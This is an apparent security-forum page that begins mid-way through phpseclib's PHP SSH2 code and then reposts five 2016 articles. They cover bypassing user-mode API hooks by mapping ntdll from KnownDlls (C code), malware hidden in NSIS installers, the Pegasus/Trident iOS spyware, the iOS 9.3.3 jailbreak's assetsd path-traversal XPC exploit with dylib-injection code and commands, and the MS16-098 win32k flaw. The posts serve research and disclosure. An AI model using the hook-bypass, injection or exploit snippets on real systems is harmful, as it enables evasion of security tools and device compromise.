$start = strtok(microtime() , ' ') + strtok(''); $result = strlen($packet) == fputs($this->fsock, $packet); $stop = strtok(microtime() , ' ') + strtok(''); if (defined('NET_SSH2_LOGGING')) { $temp = isset($this->message_numbers[ord($data[0]) ]) ? $this->message_numbers[ord($data[0]) ] : 'UNKNOWN (' . ord($data[0]) . ')'; $this->message_number_log[] = '-> ' . $temp . ' (' . round($stop - $start, 4) . 's)'; if (NET_SSH2_LOGGING == NET_SSH2_LOG_COMPLEX) { $this->message_log[] = substr($data, 1); } } return $result; } function _send_channel_packet($client_channel, $data) { while (strlen($data) > $this->packet_size_client_to_server[$client_channel]) { $this->window_size_client_to_server[$client_channel]-= $this->packet_size_client_to_server[$client_channel]; if ($this->window_size_client_to_server[$client_channel] < 0) { $packet = pack('CNN', NET_SSH2_MSG_CHANNEL_WINDOW_ADJUST, $this->server_channels[$client_channel], $this->window_size); if (!$this->_send_binary_packet($packet)) { return false; } $this->window_size_client_to_server[$client_channel]+= $this->window_size; } $packet = pack('CN2a*', NET_SSH2_MSG_CHANNEL_DATA, $this->server_channels[$client_channel], $this->packet_size_client_to_server[$client_channel], $this->_string_shift($data, $this->packet_size_client_to_server[$client_channel])); if (!$this->_send_binary_packet($packet)) { return false; } } $this->window_size_client_to_server[$client_channel]-= strlen($data); if ($this->window_size_client_to_server[$client_channel] < 0) { $packet = pack('CNN', NET_SSH2_MSG_CHANNEL_WINDOW_ADJUST, $this->server_channels[$client_channel], $this->window_size); if (!$this->_send_binary_packet($packet)) { return false; } $this->window_size_client_to_server[$client_channel]+= $this->window_size; } return $this->_send_binary_packet(pack('CN2a*', NET_SSH2_MSG_CHANNEL_DATA, $this->server_channels[$client_channel], strlen($data) , $data)); } function _close_channel($client_channel) { $packet = pack('CN', NET_SSH2_MSG_CHANNEL_EOF, $this->server_channels[$client_channel]); if (!$this->_send_binary_packet($packet)) { return false; } while ($this->_get_channel_packet($client_channel) !== true); } function _disconnect($reason) { if ($this->bitmap) { $data = pack('CNNa*Na*', NET_SSH2_MSG_DISCONNECT, $reason, 0, '', 0, ''); $this->_send_binary_packet($data); $this->bitmap = 0; fclose($this->fsock); return false; } } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } function _define_array() { $args = func_get_args(); foreach($args as $arg) { foreach($arg as $key => $value) { if (!defined($value)) { define($value, $key); } else { break 2; } } } } function getLog() { if (!defined('NET_SSH2_LOGGING')) { return false; } switch (NET_SSH2_LOGGING) { case NET_SSH2_LOG_SIMPLE: return $this->message_number_log; break; case NET_SSH2_LOG_COMPLEX: return $this->_format_log($this->message_log, $this->message_number_log); break; default: return false; } } function _format_log($message_log, $message_number_log) { static $boundary = ':', $long_width = 65, $short_width = 16; $output = ''; for ($i = 0; $i < count($message_log); $i++) { $output.= $message_number_log[$i] . "\r\n"; $current_log = $message_log[$i]; $j = 0; do { if (!empty($current_log)) { $output.= str_pad(dechex($j) , 7, '0', STR_PAD_LEFT) . '0 '; } $fragment = $this->_string_shift($current_log, $short_width); $hex = substr(preg_replace('#(.)#es', '"' . $boundary . '" . str_pad(dechex(ord(substr("\\1", -1))), 2, "0", STR_PAD_LEFT)', $fragment) , strlen($boundary)); $raw = preg_replace('#[^\x20-\x7E]|<#', '.', $fragment); $output.= str_pad($hex, $long_width - $short_width, ' ') . $raw . "\r\n"; $j++; } while (!empty($current_log)); $output.= "\r\n"; } return $output; } function getErrors() { return $this->errors; } function getLastError() { return $this->errors[count($this->errors) - 1]; } function getServerIdentification() { return $this->server_identifier; } function getKexAlgorithms() { return $this->kex_algorithms; } function getServerHostKeyAlgorithms() { return $this->server_host_key_algorithms; } function getEncryptionAlgorithmsClient2Server() { return $this->encryption_algorithms_client_to_server; } function getEncryptionAlgorithmsServer2Client() { return $this->encryption_algorithms_server_to_client; } function getMACAlgorithmsClient2Server() { return $this->mac_algorithms_client_to_server; } function getMACAlgorithmsServer2Client() { return $this->mac_algorithms_server_to_client; } function getCompressionAlgorithmsClient2Server() { return $this->compression_algorithms_client_to_server; } function getCompressionAlgorithmsServer2Client() { return $this->compression_algorithms_server_to_client; } function getLanguagesServer2Client() { return $this->languages_server_to_client; } function getLanguagesClient2Server() { return $this->languages_client_to_server; } function getServerPublicHostKey() { $signature = $this->signature; $server_public_host_key = $this->server_public_host_key; extract(unpack('Nlength', $this->_string_shift($server_public_host_key, 4))); $this->_string_shift($server_public_host_key, $length); switch ($this->signature_format) { case 'ssh-dss': $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $p = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $q = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $g = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $y = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($signature, 4)); if ($temp['length'] != 40) { user_error('Invalid signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $r = new Math_BigInteger($this->_string_shift($signature, 20) , 256); $s = new Math_BigInteger($this->_string_shift($signature, 20) , 256); if ($r->compare($q) >= 0 || $s->compare($q) >= 0) { user_error('Invalid signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $w = $s->modInverse($q); $u1 = $w->multiply(new Math_BigInteger(sha1($this->exchange_hash) , 16)); list(, $u1) = $u1->divide($q); $u2 = $w->multiply($r); list(, $u2) = $u2->divide($q); $g = $g->modPow($u1, $p); $y = $y->modPow($u2, $p); $v = $g->multiply($y); list(, $v) = $v->divide($p); list(, $v) = $v->divide($q); if (!$v->equals($r)) { user_error('Bad server signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE); } break; case 'ssh-rsa': $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $e = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $n = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $nLength = $temp['length']; $temp = unpack('Nlength', $this->_string_shift($signature, 4)); $s = new Math_BigInteger($this->_string_shift($signature, $temp['length']) , 256); if ($s->compare(new Math_BigInteger()) < 0 || $s->compare($n->subtract(new Math_BigInteger(1))) > 0) { user_error('Invalid signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $s = $s->modPow($e, $n); $s = $s->toBytes(); $h = pack('N4H*', 0x00302130, 0x0906052B, 0x0E03021A, 0x05000414, sha1($this->exchange_hash)); $h = chr(0x01) . str_repeat(chr(0xFF) , $nLength - 3 - strlen($h)) . $h; if ($s != $h) { user_error('Bad server signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE); } } return $this->server_public_host_key; } }
  21. Bypassing user-mode the sneaky way AUGUST 26, 2016 SCORCHSECURITY1 COMMENT I recently arrived upon a post on the breakdev blog that talked about a technique for bypassing user-mode hooks that I hadn’t seen before. The writer of the post hadn’t yet written an implementation of this technique (I asked him the other day), so I took it upon myself to write a proof-of-concept. Someone in the comments by the name of Xenocite suggested an alternate way of going about the process, which I will talk about further down. For those who have not already read the breakdev post, the technique that the poster talked about was bypassing user-mode winapi hooks by loading a completely fresh copy of ntdll.dll. (ntdll.dll specifically because it doesn’t require any imports — all its exported functions are ultimately wrappers for syscalls.) As the post pointed out, it would be possible to load a fresh copy of kernel32.dll or user32.dll, but those would require a bit more code to recursively load all the imports. As a result, loading ntdll.dll is much simpler. Even though ntdll doesn’t have any imports, one still has to parse the pe format and load everything where it’s supposed to be. This is not difficult, just a bit annoying. This annoyingness can be circumvented, as Xenocite pointed out, by loading the ntdll from the knowndlls global section. Before I explain how to access the knowndlls section, I need to give a bit of background on windows sections. Right from msdn, a section object is defined as “a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space.” Therefore, you can open “\\KnownDlls\\ntdll.dll” with NtOpenSection and then map it into the current process with NtMapViewOfSection. Overall, this is quite straightforward. The undocumented ntapi can be a bit finicky, but after a bit wrangling, the ntapi can be beaten into submission. The initializing routine goes as follows: NtOpenSection = (fnNtOpenSection)ResolveFunction(peb_ntdll, "NtOpenSection"); NtMapViewOfSection = (fnNtMapViewOfSection)ResolveFunction(peb_ntdll, "NtMapViewOfSection"); NewRtlInitUnicodeString(&ntSectionName, section_path); InitializeObjectAttributes(&ObjAttrs, &ntSectionName, OBJ_CASE_INSENSITIVE, NULL, NULL); Now, you could use GetModuleHandleW(L"ntdll.dll") to get a handle to ntdll, but GetModuleHandleW could be hooked and it just not as cool as parsing the PEB. That’s technique used in most (all?) windows shellcode. The code to parse the peb to get a handle to ntdll in c is as follows: // resolve PEB #ifdef _WIN64 peb_navigator = __readgsqword(0x60); #else #ifdef _WIN32 peb_navigator = __readfsdword(0x30); #endif #endif peb_navigator = (ULONG_PTR)((PPEB)peb_navigator)->Ldr; peb_navigator = (ULONG_PTR)((PPEB_LDR_DATA)peb_navigator)->InMemoryOrderModuleList.Flink; peb_navigator = DEREF(peb_navigator); #ifdef _WIN64 peb_ntdll = (HMODULE)DEREF(peb_navigator + 0x20); #else #ifdef _WIN32 peb_ntdll = (HMODULE)DEREF(peb_navigator + 0x10); #endif #endif Since this needs to work on both x86 and x64, I can’t use inline asm and have to use compiler intrinsics to access the gs and fs registers. Here’s a link to the github repository. If anyone has any suggestions, criticism, or needs help, please post a comment or contact me as per the contact page. Also, if anyone has any ideas for future posts, please let me know. Sursa: https://scorchsecurity.wordpress.com/2016/08/26/bypassing-user-mode-the-sneaky-way/
  22. Malware Hides in Installer to Avoid Detection By Satish Chimakurthi on Aug 25, 2016 At McAfee Labs we recently observed various threat families using the Nullsoft Scriptable Install System (NSIS). This practice is not new, but our analysis shows that several malware families are employing the same technique to hide their packed executable code. Usually every malware family uses its own polymorphic packers to obfuscate its payload. In this case four families have the same executable format to hide the malicious code. The malicious NSIS package contains a DLL (acting as a decryptor and injector) and an encrypted executable payload. Once onboard an infected machine, the NSIS package drops a DLL and two data files and loads the DLL. The DLL decrypts the two data files and executes the final payload using process hollowing, a technique used by malware in which the original code is replaced with malicious code. If we were to analyze the DLL alone, we would not conclude that it was malicious because it relies on encrypted data in the two data files. We found four malware families using this technique: Cerber Gamarue Kovter ZCrypt Propagation The malware are distributed via spam campaigns: A ZIP archive contains the executable: NSIS file identification The start of the overlay+8 offset contains the “NullsoftInst” string: Malicious NSIS package The sample we analyzed has the following components inside the NSIS package. e: Data file contains encrypted APIs used for process hollowing. fsv: Data file contains the final encrypted payload. dll: Malicious DLL decrypts data files and executes the process hollowing. The encrypted data file geanticline.e: The decrypted geanticline.e: The encrypted payload (tache.fsv): The decrypted payload: Decryption code for process hollowing APIs Code in OpenCandy.dll decrypts both data files. The following code accesses the files: The decryption key that unlocks the data file lies in the data filename itself. The decryption logic appears in the following screen: An XOR operation decrypts the data file. Decryption code for payload We found the decryption key resides inside the DLL and varies among the malware families. Decryption key location: Decryption code: Decryption logic for process hollowing We employed python to write the decryption logic used by the malware. The encrypted data file path should be passed as an argument. For each malware family, the value of MAXKEYINDEX can be changed or be equal to KEYLEN. Decryption logic for payload Evading security products Because the malicious payload and APIs are in encrypted and do not fall under any specific file formats, antimalware scanners will usually omit scanning these files. They also act as efficient hash busters and easily bypass emulation techniques. When these files are copied into other directories, the malware keep the NSIS file format to strengthen their defense. We also noticed that the decryption logic varies slightly among the malware. MD5 hash: 5AF3BED65AEF6F0113F96FD3E8B67F7A I would like to thank my colleagues Sivagnanam G N and Manjunatha Shankaranarayana for their help with this analysis. Sursa: https://blogs.mcafee.com/mcafee-labs/malware-hides-in-installer-to-avoid-detection/
  23. August 25, 2016 Sophisticated, persistent mobile attack against high-value targets on iOS By Lookout and Citizen Lab 0 Comments Persistent, enterprise-class spyware is an underestimated problem on mobile devices. However, targeted attack scenarios against high-value mobile users are a real threat. Citizen Lab (Munk School of Global Affairs, University of Toronto) and Lookout have uncovered an active threat using three critical iOS zero-day vulnerabilities that, when exploited, form an attack chain that subverts even Apple’s strong security environment. We call these vulnerabilities “Trident.” Our two organizations have worked directly with Apple’s security team, which was very responsive and immediately fixed all three Trident iOS vulnerabilities in its 9.3.5 patch. All individuals should update to the latest version of iOS immediately. If you’re unsure what version you’re running, you can check Settings > General > About > Version. Lookout will send an alert to a customer’s phone any time a new update is available. Lookout’s products also detect and alert customers to this threat. Trident is used in a spyware product called Pegasus, which according to an investigation by Citizen Lab, is developed by an organization called NSO Group. NSO Group is an Israeli-based organization that was acquired by U.S. company Francisco Partners Management in 2010, and according to news reports specializes in “cyber war.” Pegasus is highly advanced in its use of zero-days, obfuscation, encryption, and kernel-level exploitation. We have created two reports that discuss the use of this targeted attack against political dissidents and provide a detailed analysis of the malicious code itself. In its report, Citizen Lab details how attackers targeted a human rights defender with mobile spyware, providing evidence that governments digitally harass perceived enemies, including activists, journalists, and human rights workers. In its report, Lookout provides an in-depth technical look at the targeted espionage attack that is actively being used against iOS users throughout the world. The overview Ahmed Mansoor is an internationally recognized human rights defender and a Martin Ennals Award Laureate (sometimes referred to as a “Nobel prize for human rights”), based in the United Arab Emirates (UAE). On August 10th and 11th, he received text messages promising “secrets” about detainees tortured in UAE jails if he clicked on an included link. Instead of clicking, Mansoor sent the messages to Citizen Lab researchers. Recognizing the links as belonging to an exploit infrastructure connected to NSO group, Citizen Lab collaborated with Lookout to determine that the links led to a chain of zero-day exploits that would have jailbroken Mansoor’s iPhone and installed sophisticated malware. This marks the third time Mansoor has been targeted with “lawful intercept” malware. Previous Citizen Lab research found that in 2011 he was targeted with FinFisher spyware, and in 2012 with Hacking Team spyware. The use of such expensive tools against Mansoor shows the lengths that governments are willing to go to target activists. Citizen Lab also found evidence that state-sponsored actors used NSO’s exploit infrastructure against a Mexican journalist who reported on corruption by Mexico’s head of state, and an unknown target or targets in Kenya. The NSO group used fake domains, impersonating sites such as the International Committee for the Red Cross, the U.K. government’s visa application processing website, and a wide range of news organizations and major technology companies. This nods toward the targeted nature of this software. The Pegasus spyware Pegasus is the most sophisticated attack we’ve seen on any endpoint because it takes advantage of how integrated mobile devices are in our lives and the combination of features only available on mobile — always connected (WiFi, 3G/4G), voice communications, camera, email, messaging, GPS, passwords, and contact lists. It is modular to allow for customization and uses strong encryption to evade detection. Lookout’s analysis determined that the malware exploits three zero-day vulnerabilities, or Trident, in Apple iOS: CVE-2016-4655: Information leak in Kernel – A kernel base mapping vulnerability that leaks information to the attacker allowing him to calculate the kernel’s location in memory. CVE-2016-4656: Kernel Memory corruption leads to Jailbreak – 32 and 64 bit iOS kernel-level vulnerabilities that allow the attacker to silently jailbreak the device and install surveillance software. CVE-2016-4657: Memory Corruption in Webkit – A vulnerability in the Safari WebKit that allows the attacker to compromise the device when the user clicks on a link. The attack sequence, boiled down, is a classic phishing scheme: send text message, open web browser, load page, exploit vulnerabilities, install persistent software to gather information. This, however, happens invisibly and silently, such that victims do not know they’ve been compromised. In this case, the software is highly configurable: depending on the country of use and feature sets purchased by the user, the spyware capabilities include accessing messages, calls, emails, logs, and more from apps including Gmail, Facebook, Skype, WhatsApp, Viber, FaceTime, Calendar, Line, Mail.Ru, WeChat, SS, Tango, and others. The kit appears to persist even when the device software is updated and can update itself to easily replace exploits if they become obsolete. We believe that this spyware has been in the wild for a significant amount of time based on some of the indicators within the code (e.g., a kernel mapping table that has values all the way back to iOS 7). It is also being used to attack high-value targets for multiple purposes, including high-level corporate espionage on iOS, Android, and Blackberry. To learn more Our reports provide in-depth information about the threat actor as well as their software and the vulnerabilities exploited — Citizen Lab has tracked the actor’s political exploits around the world, while Lookout has focused on the technical details of the malware from the beginning of the exploit chain to its use. Our reports include detailed analysis of the Trident iOS vulnerabilities that are patched in the 9.3.5 release from Apple, as well as the various components of the espionage software. Lookout customers: Read this document on how to tell if you’re impacted by this attack. Think you’ve encountered a suspicious link such as the ones described above? Email support@lookout.com. Research teams: Citizen Lab: Bill Marczak and John Scott-Railton, Senior Fellows Lookout: Max Bazaily, Andrew Blaich, Kristy Edwards, Michael Flossman, Seth Hardy, Staff Security Researchers, Mike Murray, VP of Security Research Read more: Sophisticated, persistent mobile attack against high-value targets on iOS (https://blog.lookout.com/blog/2016/08/25/trident-pegasus/)
  24. What is the jailbreak for iOS 9.3.3 actually doing? – Part 1 Friday 26 August 2016/by James Shanahan Many people who jailbreak their devices are unaware of the vulnerabilities being exploited in order to gain privileged access to the underlying iOS operating system. Users typically jailbreak devices in order to install applications that have not undergone Apple’s software evaluation process. This post will explore the low level mechanics of the iOS 9.3.3 jailbreak as an educational case study. There are many restrictions in place that are enforced for applications and users. A Jailbreak ultimately requires a bug in the kernel that can be exploited. Restrictions include KASLR, SMAP, KPP and the App Sandbox. In order to gain access to the kernel, there are typically multiple software flaws and misconfigurations that must be leveraged, which then leads to access as a privileged and unrestricted user. Overview of iOS Security Architecture Below is a high level diagram of the iOS Security Architecture that demonstrates security controls that are in place between the hardware/firmware and software. ios security architecture The App Sandbox is desinged to ensure that apps are doing what they’re supposed to do. It is also there to protect applications from unintential bugs that may be introduced through flaws in the code or inherited from a framework. Contrary to an application without App Sandbox, an application with App Sandbox limits the resources on a per app basis to protect from such flaws. App Sandbox is there as a last line of defenese against varrious attacks that can be utlized to gain access, delete, or corrupt data pertaining to the targeted application. The image below depicts how an application is protected using the App Sandbox. With and without App sandbox XPC XPC is an advanced framework that is built on Mach messages and simplifies low level Inter-process Communication (IPC). XPC allows communication between Application and System services. These messages are passed between an XPC Server and XPC Client. XPC is widely used by system frameworks and first-party applications. You can run the following command to survey the inventory of XPC services that are on a given iOS or OS X system: find /Applications -name \*.xpc Exploiting Userland vulnerability in assetsd via XPC message Now we understand some of the various technologies used to mitigate certain issues targeting iOS applications, as well as some of those that will be used as an exploit vehicle to trigger Userlandcode execution. Let’s take a look at how the iOS 9.3.3 Jailbreak works under the hood. A vulnerability exists in assetsd that allows files and directories to me moved to a new location. In iOS 9.3.3 container apps can communicate with a service provided by /System/Library/Frameworks/AssetsLibrary.framework named com.apple.PeristentURLTranslator.Gatekeepervia XPC. There is a method that allows a user to move a specified file or directory in/var/mobile/MEDIA/DCIM. The problem is that srcPath and destSubdir are derived from user input retrieved in XPC messages which lack validation. It is possible to use commonly known path traversal tricks such as ../ in the srcPath and destSubdir parameters which lead to arbitrary file reads/writes as the iOS mobile user. This is what a sample XPC message that triggers the issue in assetsd would look like: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // code snippet – thx Pangu xpc_connection_t client = xpc_connection_create_mac_service("com.apple.PersistentURLTranslator.Gatekeeper", NULL, 0); xpc_connection_set_event_handler(client, ^void(xpc_object_t_response) { }); xpc_connection_resume(client); xpc_object_t_ dict = xpc_dictionary_create(NULL, NULL, ); NSString *dstPATH = [@"../../../../../../../" stringByAppendingPathCompnent:dest]; xpc_dictionary_set_string(dict, "srcPath", [src UTF8String]); xpc_dictionary_set_string(dict, "destSubdir", [dstPath UTF8String]); xpc_dictionary_set_int64(dict, "transactionID", 4); xpc_dictionary_set_int64(dict, "operation", 4); xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, dict); The issue is triggered on line 10. Utilizing dyld (Dynamic Linker) to Get Arbitrary Code Execution To inject a dylib into a system process, an attacker can utilise the DYLD_INSERT_LIBRARIESenvironment variable, but the executable must have the get-task-allow entitlement. The Pangu team checked all executables in iOS 9 and did not identify one that had the get-task-allowentitlement. They were excited to find that the developer disk images (DDI) did allow this by running the following command: codesign -d --entitlements - .//usr/libexec/vpnagent That command above produces the following output which proves that vpnagent has the entitlement needed: 1 2 3 4 <plist version=1.0> <dict> <key>get-task-allow</key> <true/> In order to make this executable, the old Developer Disk Image (DDI) that contains vpnagentshould be mounted. Even though a failure will occur, MobileStorageMounter will register the trustcache hash values for executables which is signed by Apple. MobileStorageMounter will then notify the kernel that vpnagent is a platform binary without creating any code signing failures on iOS 9. The kernel enforces the sandbox profile for a particular executable in a couple of different ways. First, the default container sandbox profile will be applied if the vpnagent executable is located in/private/var/mobile/Containers/Data/. If the executable is located somewhere else on the system, the kernel will apply the seatbelt-profile, which is specified in the executable’s signature segment. A sample of what one may look like is as follows: 1 2 3 4 (version 1) (debug allow) (allow process*) (deny default) Enabling Debugging In order to enable debug server on iOS 9 a normal DDI should be mounted. Utilizing assetsd Path Traversal XPC Vulnerability to Execute Arbitrary Code The next step is to send a specifically crafted XPC message to exploit a path traversal vulnerability inassetsd to move the vpnagent from the DDI to a place that the debugserver has access to. Once the executable is moved to a path outside of /private/var/mobile/Containers/Data, the sandbox seatbelt-profile will be applied. This will ensure that the kernel does not apply the default sandbox profile. Putting the VPN Agent in Debug Mode and Performing Code Injection Once this has been performed, the debugserver will allow a process with the get-task-allowentitlement to continually run even if code signing invalidation occurs. A dylib can now be injected using the DYLD_INSERT_LIBRARIES environment variable. DYLD_INSERT_LIBRARIES is very similar to LD_PRELOAD on Linux. The signature of a system binary should be used when loading the dylib so that the kernel will believe that the vpnagent is loading an iOS 9 system binary. Below is sample code that demonstrates simple code injection on OS X: #import "ACCalculatorOverrides.h" #include <stdio.h> #include <objc/runtime.h> #include <Foundation/Foundation.h> #include <AppKit/AppKit.h> static IMP sOriginalImp = NULL; @implementation ACCalculatorOverrides +(void)load { // We replace the method -[CalculatorController showAbout:] with the method -[ACCalculatorOverrides patchedShowAbout:] Class originalClass = NSClassFromString(@"CalculatorController"); Method originalMeth = class_getInstanceMethod(originalClass, @selector(showAbout:)); sOriginalImp = method_getImplementation(originalMeth); Method replacementMeth = class_getInstanceMethod(NSClassFromString(@"ACCalculatorOverrides"), @selector(patchedShowAbout:)); method_exchangeImplementations(originalMeth, replacementMeth); } -(void)patchedShowAbout:(id)sender { // We first call the original method to display the original About Box sOriginalImp(self, @selector(showAbout:), self); // Run our custom code which simply display an alert NSAlert *alert = [NSAlert alertWithMessageText:@"Code has been injected!" defaultButton:@"OK" alternateButton:nil otherButton:nil informativeTextWithFormat:@"The code has been injected using DYLD_INSERT_LIBRARIES into Calculator.app"]; [alert runModal]; } @end The following command will build this dynamic library: gcc -framework AppKit -framework Foundation -o CalculatorOverrides.dylib -dynamiclibACCalculatorOverrides.m The final step is to inject it into the application: DYLD_INSERT_LIBRARIES=/PATH_TO/CalculatorOverrides.dylib/Applications/Calculator.app/Contents/MacOS/Calculator &amp; This will result in the following: Performing code injection using dylib As shown above, an alert box was injected. This will be utilised in a similar fashion to exploit the next series of vulnerabilities that will allow a user gain access to the device as a privileged user. Conclusion Most users are unaware that Jailbreaking devices requires the exploitation of security flaws and configuration weaknesses that exist on a particular version of iOS or an application running on their device. These same vulnerabilities can be exploited by those with real malicious intent. Even then, considering the Jailbreak teams do not provide complete source and steps required to jailbreak, it is hard to tell everything that they may be doing. Further details will be covered in the next blog post. [Part 2 – To be Continued] References Pangu Internals – https://www.blackhat.com/docs/us-16/materials/us-16-Wang-Pangu-9-Internals.pdf Jonathan Levin. (2013). Mac OS X and iOS Internals. New York, NY: John Wiley & Sons Amit Sing. (2007). Mac OS X Internals. New York, NY: Addison-Wesley Jailbreak Exploits – https://www.theiphonewiki.com/wiki/Jailbreak_Exploits iOS Security – iOS 9.3 or later – https://www.apple.com/business/docs/iOS_Security_Guide.pdf Compromising IDEVICES via Airdrop – https://2015.ruxcon.org.au/assets/2015/slides/ruxcon-2016-dowd.pptx Simple code injection using DYLD_INSERT_LIBRARIES environment variable –http://blog.timac.org/?p=761 App Sandboxing – https://developer.apple.com/app-sandboxing/ osx dylib injection – https://github.com/scen/osxinj Sursa: https://labs.nettitude.com/blog/what-is-the-jailbreak-for-ios-9-3-3-actually-doing-part-1/
      • 1
      • Upvote
  25. An Analysis of MS16-098 / ZDI-16-453 Published On August 25th, 2016 | By Steiner This past patch Tuesday, Microsoft released MS16-098, a patch for multiple vulnerabilities in “Kernel-Mode Drivers”. Within this patch, the vulnerability identified as CVE-2016-3308 andZDI-16-453 was addressed. This post is an analysis of this vulnerability and how it could potentially be leveraged by an attacker in the form of a Local Privilege Escalation (LPE) exploit. MS16-098 xxxInsertMenuItem Diff The vulnerability exists within the function win32k!xxxInsertMenuItem and how it handles reallocations of memory. This function is responsible for adding items to menus that are displayed to users. Menu items that are being added to a menu can be inserted either based on a position or an existing menu items identifier. This difference is explained in the documentation provided by Microsoft for the InsertMenuItem function. Additionally when a new menu is created, it has no storage for it’s menu items. It is not until an initial item is added to the menu that item storage is allocated. On Windows 7 x64, this allocation is done 8 items at a time resulting in the 2nd through the 8th item added to the menu not requiring a reallocation of space. When a 9th, 17th, etc. item is added to the menu, a reallocation is triggered in order to be able to accommodate the additional item. After this occurs, and the memory allocation is successful, win32k!xxxInsertMenuItem callswin32k!MNLookUpItem a second to get the item’s location in the newly allocated space. The vulnerability in question can be triggered when the item returned from the second invocation of win32k!MNLookUpItem does not exist in the same menu as the first. Thewin32k!MNLookUpItem function recursively searches the menu structure, it’s items and the submenus optionally associated with those items. In order to force the second call to return an item from a different menu than the first call a parameter needs to be changed between the two function call. The prototype for this function looks roughly like: PITEM MNLookUpItem(PMENU pMenu, UINT uItem, BOOL fByPosition, PMENU *pMenuOut);. The first three parameters are required, while the 4th parameter is an optional pointer to a location to store the menu object for which the item returned is associated with. Under non-exploit conditions the value of pMenu is written to pMenuOut, the change introduced in this patch checks that this is the case and exits before harm can be done to the system. In order to trigger the desirable code path, an attacker needs to create a menu along with a submenu. The submenu requires a single item with wID set to 1 for reasons outlined later. This submenu is referenced in an item that is added to the top level menu with a specific arbitrary wID. The top level menu is then populated with 7 additional items with additional unique wID values to fill it’s allocated space. To trigger the vulnerability the attacker calls theNtUserThunkedMenuItemInfo function to add a 9th item with the wID specified as the submenu. The first call to win32k!MNLookUpItem in win32k!xxxInsertMenuItemidentifies the submenu item and returns the toplevel menu in which it resides. Before the reallocation takes place, a check on the submenu item’s pItem->hbmpItem field takes place. If this field is set to HBMMENU_SYSTEM, then the value compared with wID is updated to 1. This change is leveraged by the attacker to cause the second call to win32k!MNLookUpItem to identify the submenu’s item (who’s wID was explicitly set to 1) and return the submenu instead of the original top level menu. Under exploitation conditions, the item returned by the second call to win32k!MNLookUpItem is in a different menu than what was originally assumed. This causes an out-of-bounds read to occur when a subsequent call to memmove uses pointer arithmetic to copy and overwrite a potentially excessively large block of memory. The call to memmove is roughly equivalent tomemmove(&pItem[1], pItem, &pMenu->rgItems[0] + (sizeof(ITEM) * pMenu->cItems - (QWORD)pItem). The pointer arithmetic assumes that the PITEM returned is in the array pointed to by pMenu->rgItems. Reliable exploitation of this vulnerability would require the user to be able to limit the memory passed to memmove to avoid triggering a violation by corrupting memory stored after pItem. Assuming the size of memmove were limited, and pItem were the last item in the array pointed to by pMenu->rgItems, it is feasible that an attacker could leverage the memmove operation to write up to sizeof(win32k!tagITEM) bytes (0x90 on Windows 7 SP1 x64) past the region allocated for the array. An attacker can leverage the HANDLEENTRY structs within the shared region to identify the location in Kernel memory of the win32k!tagMENU struct, however to accurately predict the parameters of the memmove call, the attacker would need to know the value of the rgItems field within this struct. A proof of concept for this vulnerability which triggers a BSOD on Windows 7 SP1 x64 can be found here. Sursa: https://warroom.securestate.com/an-analysis-of-ms16-098/
×
×
  • Create New...